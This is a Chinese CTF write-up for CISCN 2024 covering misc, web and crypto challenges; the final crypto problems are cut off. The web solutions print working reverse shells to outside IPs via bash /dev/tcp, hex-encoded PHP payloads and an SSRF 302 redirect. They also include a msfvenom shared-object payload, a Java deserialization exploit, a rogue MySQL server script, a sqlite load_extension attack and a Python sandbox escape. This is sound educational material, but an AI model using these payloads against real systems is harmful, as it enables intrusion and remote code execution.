一、MISC
1.火锅链观光打卡
打开后连接自己的钱包，然后点击开始游戏，答题八次后点击获取NFT，得到有flag的图片没什么多说的，知识问答题
兑换 NFT
Flag{y0u_ar3_hotpot_K1ng}
2.Power Trajectory Diagram
方法1：使用py中的numpy和pandas库读取npz文件并保存为csv文件，代码如下：import numpy as npimport pandas as pdnp.set_printoptions(threshold=np.inf)a1 = np.load('attachment.npz', allow_pickle=True)print(a1.files)print('read:', a1)index = a1['index']myin = a1['input']myout = a1['output']mytra = a1['trace']# print(mytra.shape)df = pd.DataFrame(mytra)df.to_csv('data1.csv', index=False)df1 = pd.DataFrame({'index':index, 'input': myin})df1.to_csv('data2.csv', index=False)得到data1.csv、data2.csv，合并得到data.csv。打开data.csv，可以看到功耗数据，根据https://zhuanlan.zhihu.com/p/157585244，我认为该题的关键是在于找到与其它字符不同的字符，就是该index的正确密码。基于此，利用Excel的折线图功能，例如第四个字符，如图所示：
可以看出，有一条绿色线与其它线都不同，为c，所以第四个字符就是c。
依次重复，得到整个密钥：_ciscn_2024_
即flag：flag{_ciscn_2024_}
input是一个表
output 为空trace 里的数据都是小数
尝试对 trace 里的数据画点图：
发现每组数据的最大值有很多点，最小值的点只有几个，所以我们尝试找出trace每组数据的最小值的下标：import numpy as npdata = np.load("./attachment.npz")dd = data[data.files[3]] for i in range(len(dd)): min_index = np.argmin(dd[i]) print(f"Minimum index for group {i}: {min_index}")除了最后一组数据全为 985，其余数据中都有其他不同的数字
用每四十组数据的最小值的下标再画一次图分析，发现最大值只有一个，所以我们需要继续找最大值的下标，然后再从input表中获取对应的字符即可：
exp：import numpy as npimport matplotlib.pyplot as plt f = np.load('./attachment.npz')index = f['index']ip = f['input']tr = f['trace'] flag = ""for _ in range(13): t = [] table = ip[40*_:40*(_+1)] for i in range(40): # 每个列表画一个散点图，发现最小值 # plt.scatter([i for i in range(len(tr[_*40+i]))], tr[_*40+i]) # plt.show() # 获取该列表的最小值的下标 min = np.argmin(tr[_*40+i]) # 将最小值的下标插入新列表 t.append(min) # 用 40 个列表的最小值的下标作为数据，画图，发现有最大值 for i in range(len(t)): plt.scatter([i for i in range(len(t))], np.array(t)) plt.show() # 求最大值的下标 mins = np.argmax(t) # 用下标从表里取字符 ind = table[mins] # 把字符加到flag里 flag += indprint(flag)
得到：_ciscn_2024_a由于前面最后一组数据全是 985，因此最后一组数据得出的 a 不算去掉 a 得到最终flag为：flag{_ciscn_2024_}
3.神秘的文件
方法1：究极套娃，看的眼睛都要花了，真就纯找。得到PPT文件，直接改后缀为.zip去找part1在docProps目录下的两个xml中，app.xml提示了解密算法，core.xml提示了密文和密钥key，直接上赛博
part2在ppt/embeddings文件夹下的docx中，从PPT打开的话就是第二章左上角那块黑色的，双击就行，打开后全选，改字体大小，改颜色，凯撒偏移量10解密，然后base64解密，得到part2
part3在vbaProject.bin中，这个真的找了好久，后来也是网上搜得到说ppt隐写可能跟宏和宏脚本有关系，叫VBA工程解密。先010打开vbaProject.bin，找DPB字节，把最后一位改成x，然后保存，之后改后缀为.zip，直接打开会发现其中内涵的文件，打开VBA文件夹下的模块一
发现一段密文，不知道是啥但是提示是base64之后的，那就先解密呗，然后得到乱码，一般这种特殊字符多的不是RC4就是rot，最后发现是无密码RC4解密，然后再解一层base64
part4直接打开PPT（因为它是由media文件夹下的图片拼成的），第三张，好像是要选可见隐藏字符，因为我电脑自动默认选的所以直接可以看，base64解码
part5是在第五章ppt的注释中，直接赛博厨师帽跑，多层base64解码，得到第五部分
part6是在第五张PPT正文边界的左上角，把它界面缩放或者直接拆media文件夹都可以，base64解码
part7是在ppt\slides下的slides4.xml中，id4的位置，下面提示rot13 all，暗示包括number，base64解码
part8在slideLayout2.xml中，南平，最开始没理解最后是啥意思，连一起了才看懂。。。。，就是要除去上面字符串中的Bb13。。。然后base64解码
part9直接在media文件夹下，看那个猫人的图片左下角，base64解码
part10在comment1.xml中，维吉尼亚解码，密钥是furry
总之最后flag是flag{e675efb3-346f-405f-90dd-222b387edee9} 方法2：先是一些简单容易找到的，按照提示规则进行 base64、维吉尼亚、凯撒等解码即可PPT 里面找到了很多东西：
改zip后缀，在 world 文档里有发现：
图片：
总共可以得到：part2:675efbPayt4:6f-40pArt5:5f-90dParT6:d-2parT9:deHPARt10:9}下面的一些就需要更加仔细了：
在压缩包里找到了二进制文件i13POMdzEAzHfy4dGS+vUA==这里是 base64+RC4+base64
得到 PArt3:3-34ppt 文件属性：
密文：QFCfpPQ6ZymuM3gq加密方式：bifld Key:lanjing;
得到Part1:flag{eppt母版：
去掉Bb13后解 base64
得到 paRt8:87e选择窗格：
Rot13+base64
得到PART7=22b3拼接得到最终 flag：flag{e675efb3-346f-405f-90dd-222b387edee9}4.大学生安全测试能力调研问卷
填问卷5.通风机
方法1：得到mwp文件，010打开补全前三位文件头，使用V4.0 STEP 7 MicroWIN SP9打开，每个地方都看看，之前没见过，最后在符号表中找到flag
base64解码后得到flag
方法2：使用binwalk可以分离出一个zlib文件，使用python解压，代码如下：import zlibdef decompress_zlib_file(input_filename, output_filename): with open(input_filename, 'rb') as compressed_file: compressed_data = compressed_file.read() decompressed_data = zlib.decompress(compressed_data)
with open(output_filename, 'wb') as output_file: output_file.write(decompressed_data)
# Example usageinput_file = '35.zlib'output_file = 'decompressed_data.txt'decompress_zlib_file(input_file, output_file)用Winhex 打开 decompressed_data.txt，可以看到经过base64编码后的flag。
解码得到flag：
6.盗版软件
两个文件
第一个dmp改后缀为data,用gimp2调一下参数得到域名
winhack.com之后找ip，微步找释放文件
dump下来，loader没啥用，看output.png
发现有个zip，提取出来
发现是base85，解密之后，觉得是shellcode，改后缀为bin放微步跑得到ip
winhack.com39.100.72.235
7.DNS
发现域名很多二进制，提取出来转二维码，CQR扫一下
得到一段密码
之后继续看
发现有两种流
dns.id==0x6421
dns.id==0x4500分别提取，一个得到压缩包，压缩包用二维码得到的解密
另一个得到乱码，file一下发现压缩包得到是pgp
不知道key，看题目描述，经过尝试发现rev+hex+rev可以成功import
之后把乱码文件处理一下，decrypt
二、WEB
1.Simple_php
题目描述：小明在学习CTF的过程中遇到了一道PHP的题目，以他有限的水平做不出来，可以帮帮他吗？直接给了源码
paste或者rev可以读文件发现一个异常情况，具有mysql用户，或许可以从这里入手
看出mysql服务开启cmd=mysql --version
ps -aux命令执行结果可以确认靶机有mysql服务同时根目录下没有flagBURP发包cmd=l%0as /
为了命令执行不受限，反弹shell。这里有一个小细节就是弹shell前的不可见字符是为了hex2bin函数能够成功执行。因为ban了引号，变量类型自动判断，如果十六进制开头是数字那么我设置的变量$a会被判断为数字，从而报错无法执行。cmd=php -r $a=ff3b62617368202d63202262617368202d69203e26202f6465762f7463702f3132302e34362e34312e3137332f3930323320303e2631223b;system(hex2bin($a));
mysql -uroot -proot -e "show databases;"mysql -uroot -proot -e "use PHP_CMS;show tables;"mysql -uroot -proot -e "use PHP_CMS;SELECT * FROM F1ag_Se3Re7;"
2.easycms
题目描述：简单的cms，可以扫扫看？hint：提示1： /flag.php： if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){ echo "Just input 'cmd' From 127.0.0.1"; return;}else{ system($_GET['cmd']);}提示2：github找一下源码?敏感目录：/flag.php/install.php/Readme.txt/Readme.txt是乱码，在线恢复一下
迅睿CMS官方下载地址：https://www.xunruicms.com/down/#### 安装路径将网站运行目录（主目录）设置为：public（如果没有就忽略设置�?安装环境监测�?/test.php程序安装地址�?/install.php后台登录地址�?/admin****.php�?****是随机的�?重置后台地址：https://www.xunruicms.com/doc/1097.html首次使用方法：https://www.xunruicms.com/doc/631.html#### 运行环境Laravel内核：PHP8.0及以�?ThinkPHP内核：PHP7.4及以�?CodeIgniter内核：PHP7.4及以�?CodeIgniter72内核：PHP7.2及以�?MySQL数据库：MySQL5及以上，推荐5.7及以�?#### 内核切换方法https://www.xunruicms.com/doc/1246.html无法重新安装
hint的源码告诉我们flag.php存在ssrf，可以直接getshell。源码在github上。GitHub - dayrui/xunruicms: 迅睿CMS框架由PHP+MySQL+Codeigniter架构，基于MIT开源协议发布，免费且不限制商业使用，允许开发者自由修改前后台界面中的版权信息。信息搜集，存在一个已知的ssrf迅睿CMS漏洞公示,四川迅睿云软件开发有限公司厂商的漏洞列表 (xunruicms.com)
定位到源码路径xunruicms-master\dayrui\Fcms\Control\Api\Api.php的qrcode函数thumb参数可控
定位xunruicms-master\dayrui\Fcms\Core\Helper.phpdr_catcher_data函数存在SSRF
302.php，拿不到回显所以只能反弹shell<?php //header("HTTP/1.1 302 found"); //header("Location:http://127.0.0.1:1337/flag"); //header("Location:file:///etc/passwd"); header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F120.46.41.173%2F9023%200%3E%261%22"); exit();?>payload：/index.php?s=api&c=api&m=qrcode&text=111&size=111&level=1&thumb=http://120.46.41.173/Jay17/302.php
3.easycms_revenge
和上题一样，改一下302.php的内容GIF89a<html><?phpheader("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F124.222.136.33%2F1337%200%3E%261%22");?></html>
这里注意细节，靶机发了两次请求，第一次我们就返回一个正常的图片，第二次请求就发一个302，php代码块要用html标签包裹
4.ezjava
/app/BOOT-INF/lib下删了jackson，不然就能直接打POJONode依赖里有AspectJWeaver，打任意文件写入https://blog.csdn.net/uuzeray/article/details/136595841
后续还可以配合sqlite加载恶意so文件https://github.com/Y4tacker/JavaSec/blob/main/9.JDBC%20Attack/SQLite/index.md然后AJ链子的入口要调用map.put自定义类UserBean#readObject就可以配合利用
最终思路就是先mysql打入恶意反序列化数据写入so文件，再sqlite加载恶意so文件
生成恶意so文件msfvenom -p linux/x64/exec CMD='echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjEi|base64 -d|bash' -f elf-so -o evil.so
将生成的恶意序列化数据写入output.ser
package com.example.jdbctest.exp; import com.example.jdbctest.bean.UserBean;import java.io.ByteArrayOutputStream;import java.io.FileOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.nio.file.Files;import java.nio.file.Path;import java.nio.file.Paths;import java.util.Base64; public class EXP { // 获取指定类的第一个构造函数，并设置为可访问 public static Constructor<?> getCtor(final String name) throws Exception { final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0]; ctor.setAccessible(true); return ctor; } // 创建一个UserBean对象，将evil.so的内容Base64编码后存入UserBean中 public static Object getObject() throws Exception { String filename = "../../../../../../../../../../../../tmp/evil.so"; // 路径指向/tmp/evil.so Path filePath = Paths.get("C:\\Users\\21135\\Desktop\\ciscnjava\\src\\main\\java\\com\\example\\jdbctest\\exp\\evil.so"); // 假设evil.so位于当前目录 byte[] fileBytes = Files.readAllBytes(filePath); // 读取文件字节 String content = Base64.getEncoder().encodeToString(fileBytes); // 将文件内容Base64编码 UserBean bean = new UserBean(filename, content); // 创建UserBean实例 Constructor<?> ctor = getCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); Object simpleCache = ctor.newInstance(".", 12); // 实例化一个SimpleCache对象 bean.setObj(simpleCache); // 将SimpleCache对象设置为UserBean的obj属性 return bean; } // 序列化一个对象到字节数组 public static byte[] serialize(Object object) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(object); oos.close(); return baos.toByteArray(); } // 主函数，序列化对象并将其写入文件 public static void main(String[] args) throws Exception { byte[] serialized = serialize(getObject()); // 序列化对象 String fileName = "output.ser"; // 输出文件名 // 使用FileOutputStream将字节数据写入文件 FileOutputStream fos = new FileOutputStream(fileName); fos.write(serialized); fos.close(); // 关闭文件输出流 }}
起一个恶意mysql服务，回包为恶意序列化数据
import socketimport binasciiimport os greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"response_ok_data="0700000200000002000000" def receive_data(conn): data = conn.recv(1024) print("[*] Receiveing the package : {}".format(data)) return str(data).lower() def send_data(conn,data): print("[*] Sending the package : {}".format(data)) conn.send(binascii.a2b_hex(data)) def get_payload_content(): file= r'output.ser' if os.path.isfile(file): with open(file, 'rb') as f: payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8') print("open successs") else: print("open false") #calc payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878' return payload_content # 主要逻辑def run(): while 1: conn, addr = sk.accept() print("Connection come from {}:{}".format(addr[0],addr[1])) # 1.先发送第一个 问候报文 send_data(conn,greeting_data) while True: # 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok receive_data(conn) send_data(conn,response_ok_data) #其他过程 data=receive_data(conn) #查询一些配置信息,其中会发送自己的 版本号 if "session.auto_increment_increment" in data: _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000' send_data(conn,_payload) data=receive_data(conn) elif "show warnings" in data: _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000' send_data(conn, _payload) data = receive_data(conn) if "set names" in data: send_data(conn, response_ok_data) data = receive_data(conn) if "set character_set_results" in data: send_data(conn, response_ok_data) data = receive_data(conn) if "show session status" in data: mysql_data = '0100000102' mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000' mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000' # 为什么我加了EOF Packet 就无法正常运行呢？？ # //获取payload payload_content=get_payload_content() # //计算payload长度 payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4) payload_length_hex = payload_length[2:4] + payload_length[0:2] # //计算数据包长度 data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6) data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2] mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex mysql_data += str(payload_content) mysql_data += '07000005fe000022000100' send_data(conn, mysql_data) data = receive_data(conn) if "show warnings" in data: payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000' send_data(conn, payload) break
先利用mysql打AJ链子，写入恶意so文件
{"type":"1","url":"jdbc:mysql://124.222.136.33:3309/a?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor" }
再打sqlite，指定tableName，加载写入的恶意so文件，反弹shell
{"type":"3","tableName":"(select (load_extension(\"/tmp/evil.so\")));", "url":"jdbc:sqlite:file:/tmp/db?enable_load_extension=true" }
根目录下拿到flag
5.mossfern
考的python栈帧沙箱逃逸，获取到外部的栈帧，就可以用f_globals去获取沙箱外的全局变量https://xz.aliyun.com/t/13635https://zer0peach.github.io/2024/04/29/python%E6%A0%88%E5%B8%A7%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/最后注意要将获取的变量元组转字符串，再用逗号分隔，依次输出，从而绕过seed
def getflag(): def f(): yield g.gi_frame.f_back g = f() frame=[x for x in g][0] gattr = frame.f_back.f_back.f_back.f_locals['_'+'_builtins_'+'_'] code = frame.f_back.f_back.f_back.f_code dir = gattr.dir str = gattr.str print(dir(code)) for i in str(code.co_consts): print(i,end=",") getflag()
6.sanic
sanic 是一个类似flask的web框架扫目录
访问./src
from sanic import Sanicfrom sanic.response import text, htmlfrom sanic_session import Sessionimport pydash# pydash==5.1.2 class Pollute: def __init__(self): pass app = Sanic(__name__)app.static("/static/", "./static/")Session(app) @app.route('/', methods=['GET', 'POST'])async def index(request): return html(open('static/index.html').read()) @app.route("/login")async def login(request): user = request.cookies.get("user") if user.lower() == 'adm;n': request.ctx.session['admin'] = True return text("login success") return text("login fail") @app.route("/src")async def src(request): return text(open(__file__).read()) @app.route("/admin", methods=['GET', 'POST'])async def admin(request): if request.ctx.session.get('admin') == True: key = request.json['key'] value = request.json['value'] if key and value and type(key) is str and '_.' not in key: pollute = Pollute() pydash.set_(pollute, key, value) return text("success") else: return text("forbidden") return text("forbidden") if __name__ == '__main__': app.run(host='0.0.0.0')
sanic可以通过用八进制adm\073n绕过cookie
COOKIE_NAME_RESERVED_CHARS = re.compile( '[\x00-\x1F\x7F-\xFF()<>@,;:\\\\"/[\\]?={} \x09]')OCTAL_PATTERN = re.compile(r"\\[0-3][0-7][0-7]")QUOTE_PATTERN = re.compile(r"[\\].")
在绕过admin后可以打pydash原型链污染，waf掉了_.
pydash有这样一段处理
def to_path_tokens(value): """Parse `value` into :class:`PathToken` objects.""" if pyd.is_string(value) and ("." in value or "[" in value): # Since we can't tell whether a bare number is supposed to be dict key or a list index, we # support a special syntax where any string-integer surrounded by brackets is treated as a # list index and converted to an integer. keys = [ PathToken(int(key[1:-1]), default_factory=list) if RE_PATH_LIST_INDEX.match(key) else PathToken(unescape_path_key(key), default_factory=dict) for key in filter(None, RE_PATH_KEY_DELIM.split(value)) ] elif pyd.is_string(value) or pyd.is_number(value): keys = [PathToken(value, default_factory=dict)] elif value is UNSET: keys = [] else: keys = value return keys def unescape_path_key(key): """Unescape path key.""" key = key.replace(r"\\", "\\") key = key.replace(r"\.", r".") return key
这段代码主要包含了两个函数，to_path_tokens 和 unescape_path_key，用于解析和处理数据结构路径的表达式。这些函数可能是用于操作如 JSON 或嵌套字典这样的复杂数据结构。下面是对这两个函数的总结：
1. to_path_tokens 函数
目的：将输入的 value 转换为 PathToken 对象的列表，这些对象表示数据结构中的路径点。处理逻辑：对字符串形式的路径进行分解，处理点（.）和方括号（[）来区分不同的路径段。根据路径段的内容，区分处理为列表索引或字典键。对特定字符串进行类型转换（如字符串形式的数字转为整数索引）。使用正则表达式帮助分割和识别路径中的关键部分。2. unescape_path_key 函数
目的：处理路径键中的转义字符，将转义序列转换为对应的实际字符。实现细节：替换路径键中的双反斜杠 (\\) 为单反斜杠 (\)。替换路径键中的转义点 (\.) 为点 (.)。给出脚本:
import requests url = 'http://a053bd54-eb02-452c-af3f-299070f3fd84.challenge.ctf.show' s = requests.Session() s.cookies.update({ 'user': '"adm\\073n"'}) s.get(url + '/login') # 开启目录浏览# data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\.static.handler.keywords.directory_handler.directory_view", "value": True} # 污染目录路径# data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\.static.handler.keywords.directory_handler.directory._parts", "value": ['/']} # r = s.post(url + '/admin', json=data)# print(r.text) # 获取flag路径# r = s.get(url + '/static/')# print(r.text) #污染__file__，读取flag# data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.__file__", "value": "/24bcbd0192e591d6ded1_flag"}# r = s.post(url + '/admin', json=data)# print(r.text)# print(s.get(url + '/src').text)
三、Crypto
1、OvO
题目描述from Crypto.Util.number import *from secret import flagnbits = 512p = getPrime(nbits)q = getPrime(nbits)n = p * qphi = (p-1) * (q-1)while True: kk = getPrime(128) rr = kk + 2 e = 65537 + kk * p + rr * ((p+1) * (q+1)) + 1 if gcd(e, phi) == 1: breakm = bytes_to_long(flag)c = pow(m, e, n)
e = e >> 200 << 200print(f'n = {n}')print(f'e = {e}')print(f'c = {c}')
"""n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823"""
给的 e 其实就是 d，只是结果是移位后的输出，n 很大无法分解，但 kk 与 rr 很小，由 rr= e//n 即可推出 rr 和 kk，又由 e + x + kk*p + rr*((p+1)* (q+1))+ 1 = 65537,将 × 设为 0 和 2^200 然后联立求解一元二次方程，就能求出 p, q 的上下界，这样就有p 和q 的高位，枚举未知位尝试coppersmith 直到分解出结果，最后代入求 e 和 d，进而求得flag。
cop 攻击，exp：
# SageMath script to factor n and decrypt the messagen = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823 def partial_p(p0, n, bits): PR.<x> = PolynomialRing(Zmod(n)) f = p0 + x f = f.monic() roots = f.small_roots(X=2^(bits+5), beta=0.3) if roots: x0 = roots[0] p = gcd(p0 + x0, n) return ZZ(p) def find_p(eh, n, bits): RR = RealField(1000) PR.<x> = PolynomialRing(RR) f = (kk+rr)*x**2 + (rr*(n+1)+65538)*x + rr*n - eh*x results = f.roots() if results: for x in results: p_high = int(x[0]) >> 4 << 4 p = partial_p(p_high, n, bits) if p and p != 1: return p# Calculating rr and kk based on given e and nrr = e // nkk = rr - 2# Finding pp = find_p(e, n, 200)if p: q = n // p phi_n = (p - 1) * (q - 1) # Computing the new e based on kk and rr new_e = 65537 + kk * p + rr * ((p + 1) * (q + 1)) + 1 # Computing the private key d d = inverse_mod(new_e, phi_n) # Decrypting the ciphertext m = power_mod(c, d, n) print(bytes.fromhex(hex(m)[2:]))else:print("Failed to find p.")
拿到 flag{b5f771c6-18df-49a9-9d6d-ee7804f5416c}
2、古典密码
密文：AnU7NnR4NassOGp3BDJgAGonMaJayTwrBqZ3ODMoMWxgMnFdNqtdMTM9三层解密：埃特巴什+base64+栅栏
拿到 flag{b2bb0873-8cae-4977-a6de-0e298f0744c3}
3.ez_rsa
题目描述：ezrsa.py:from Crypto.Util.number import *from Crypto.PublicKey import RSAimport randomfrom secret import flagm = bytes_to_long(flag)key = RSA.generate(1000)passphrase = str(random.randint(0,999999)).zfill(6).encode()output = key.export_key(passphrase=passphrase).split(b'\n')for i in range(7, 15): output[i] = b'*' * 64with open("priv.pem", 'wb') as f: for line in output: f.write(line + b'\n')with open("enc.txt", 'w') as f: f.write(str(key._encrypt(m)))
enc.txt:55149764057291700808946379593274733093556529902852874590948688362865310469901900909075397929997623185589518643636792828743516623112272635512151466304164301360740002369759704802706396320622342771513106879732891498365431042081036698760861996177532930798842690295051476263556258192509634233232717503575429327989priv.pem:-----BEGIN RSA PRIVATE KEY-----Proc-Type: 4,ENCRYPTEDDEK-Info: DES-EDE3-CBC,435BF84C562FE793
9phAgeyjnJYZ6lgLYflgduBQjdX+V/Ph/fO8QB2ZubhBVOFJMHbwHbtgBaN3eGlhWiEFEdQWoOFvpip0whr4r7aGOhavWhIfRjiqfQVcKZx4/f02W4pcWVYo9/p3otdDig+kofIR9Ky8o9vQk7H1eESNMdq3PPmvd7KTE98ZPqtIIrjbSsJ9XRL+gr5a91gH********************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************hQds7ZdA9yv+yKUYv2e4de8RxX356wYq7r8paBHPXisOkGIVEBYNviMSIbgelkSIjLQka+ZmC2YOgY/DgGJ82JmFG8mmYCcSooGL4ytVUY9dZa1khfhceg==-----END RSA PRIVATE KEY-----题目分析：第一部分先略过吧，不想看直接跳到后面阶段得到的数据有：n = 0x00a18f011bebacceda1c6812730b9e62720d3cbd6857af2cf8431860f5dc83c5520f242f3be7c9e96d7f96b41898ff000fdb7e43ef6f1e717b2b7900f35660a21d1b16b51849be97a0b0f7cbcf5cfe0f00370cce6193fefa1fed97b37bd367a673565162ce17b0225708c032961d175bbc2c829bf2e16eabc7e0881feca0975c81e = 0x10001inv = 0x5f152c429871a7acdd28be1b643b4652800b88a3d23cc57477d75dd5555b635167616ef5c609d69ce3c2aedcb03b62f929bbcd891cadc0ba031ae6fec8a2116ddqlow = 0x8f2363b340e5
4.checkin
题目描述：from Crypto.Util.number import *from secret import flagp = getPrime(512)q = getPrime(512)n = p*qx = 2021*p+1120*qh = (inverse(x,n)+x)%ne = 65537c = pow(bytes_to_long(flag), e, n)
